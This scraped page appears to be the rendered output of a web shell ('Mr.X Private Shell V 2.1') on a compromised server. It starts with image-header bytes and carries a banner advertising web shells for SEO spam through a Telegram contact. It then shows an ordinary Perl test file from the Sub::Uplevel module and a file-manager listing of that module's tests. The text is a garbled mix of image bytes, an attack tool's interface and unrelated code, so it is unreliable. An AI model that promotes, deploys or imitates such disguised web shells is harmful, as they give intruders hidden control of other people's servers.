����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!/usr/bin/perl
use strict;
BEGIN { $^W = 1 }
use Test::More;
use Sub::Uplevel;
package Wrap;
use Sub::Uplevel;
sub wrap {
my ($n, $f, $depth, $up, @case) = @_;
if ($n > 1) {
$n--;
return wrap( $n, $f, $depth, $up, @case );
}
else {
return uplevel( $up , $f, $depth, $up, @case );
}
}
package Call;
sub recurse_call_check {
my ($depth, $up, @case) = @_;
if ( $depth ) {
$depth--;
my @result;
push @result, recurse_call_check($depth, $up, @case, 'Call' );
for my $n ( 1 .. $up ) {
push @result, Wrap::wrap( $n, \&recurse_call_check,
$depth, $n, @case,
$n == 1 ? "Wrap(Call)" : "Wrap(Call) x $n" ),
;
}
return @result;
}
else {
my (@uplevel_callstack, @real_callstack);
my $i = 0;
while ( defined( my $caller = caller($i++) ) ) {
push @uplevel_callstack, $caller;
}
$i = 0;
while ( defined( my $caller = CORE::caller($i++) ) ) {
push @real_callstack, $caller;
}
return [
join( q{, }, @case ),
join( q{, }, reverse @uplevel_callstack ),
join( q{, }, reverse @real_callstack ),
];
}
}
package main;
my $depth = 4;
my $up = 3;
my $cases = 104;
plan tests => $cases;
my @results = Call::recurse_call_check( $depth, $up, 'Call' );
is( scalar @results, $cases,
"Right number of cases"
);
my $expected = shift @results;
for my $got ( @results ) {
is( $got->[1], $expected->[1],
"Case: $got->[0]"
) or diag( "Real callers: $got->[2]" );
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| lib | Folder | 0755 |
|
|
| 00-report-prereqs.dd | File | 2.65 KB | 0644 |
|
| 00-report-prereqs.t | File | 5.45 KB | 0644 |
|
| 01_die_check.t | File | 458 B | 0644 |
|
| 02_uplevel.t | File | 4.46 KB | 0644 |
|
| 03_nested_uplevels.t | File | 1.64 KB | 0644 |
|
| 04_honor_later_override.t | File | 2.28 KB | 0644 |
|
| 05_honor_prior_override.t | File | 2.58 KB | 0644 |
|
| 06_db_args.t | File | 545 B | 0644 |
|
| 07_uplevel_too_high.t | File | 720 B | 0644 |
|
| 08_exporter.t | File | 310 B | 0644 |
|
| 09_emptylist.t | File | 516 B | 0644 |
|